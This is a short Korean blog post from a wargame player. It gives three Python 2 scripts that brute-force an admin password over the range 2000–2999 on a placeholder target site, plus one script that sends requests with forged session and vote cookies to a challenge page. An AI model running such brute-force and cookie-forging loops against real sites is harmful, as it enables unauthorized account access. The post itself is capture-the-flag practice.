워 게임 풀때 사용했던 방법.

import re
import httplib, urllib

params = ''
for i in range(2000,3000):
 headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=11fb82672162216b51cc705b5b122ca3"}
 conn = httplib.HTTPConnection("대상사이트.kr:80")
 conn.request("GET", "/대상URL/index.php?cid=admin&cpw=%s" %i,params,headers)
 response = conn.getresponse()
 data = response.read()
 ad = re.findall("admin</b>", data)
 if ad:
  print "The Password is %d" %i
  break
  print data
 print i
 conn.close()


==============================================================================

import re,time
import httplib, urllib

params = ''
for i in range(0,1):
 headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=f1b76b27c014a6216d06141d7f0ce50a; vote_check=ok; notice="}
 conn = httplib.HTTPConnection("대상사이트.kr:80")
 conn.request("GET", "/challenge/codeing/code5.html?hit=bitfox",params,headers)
 response = conn.getresponse()
 data = response.read()
 print data
 time.sleep(1)
 conn.close()

==============================================================================

2000에서 3000번 사이 패스워드 맞추기

import re
import urllib
 
for i in range(2000,3000):
    fw = urllib.urlopen("http://대상URL/index.php?cid=admin&cpw=%s" %i)
    read = fw.read()
    admin = re.findall("환영합니다",read)
    if admin:
         print "The Password is %d" %i
         break
    print i

Posted by bitfox
l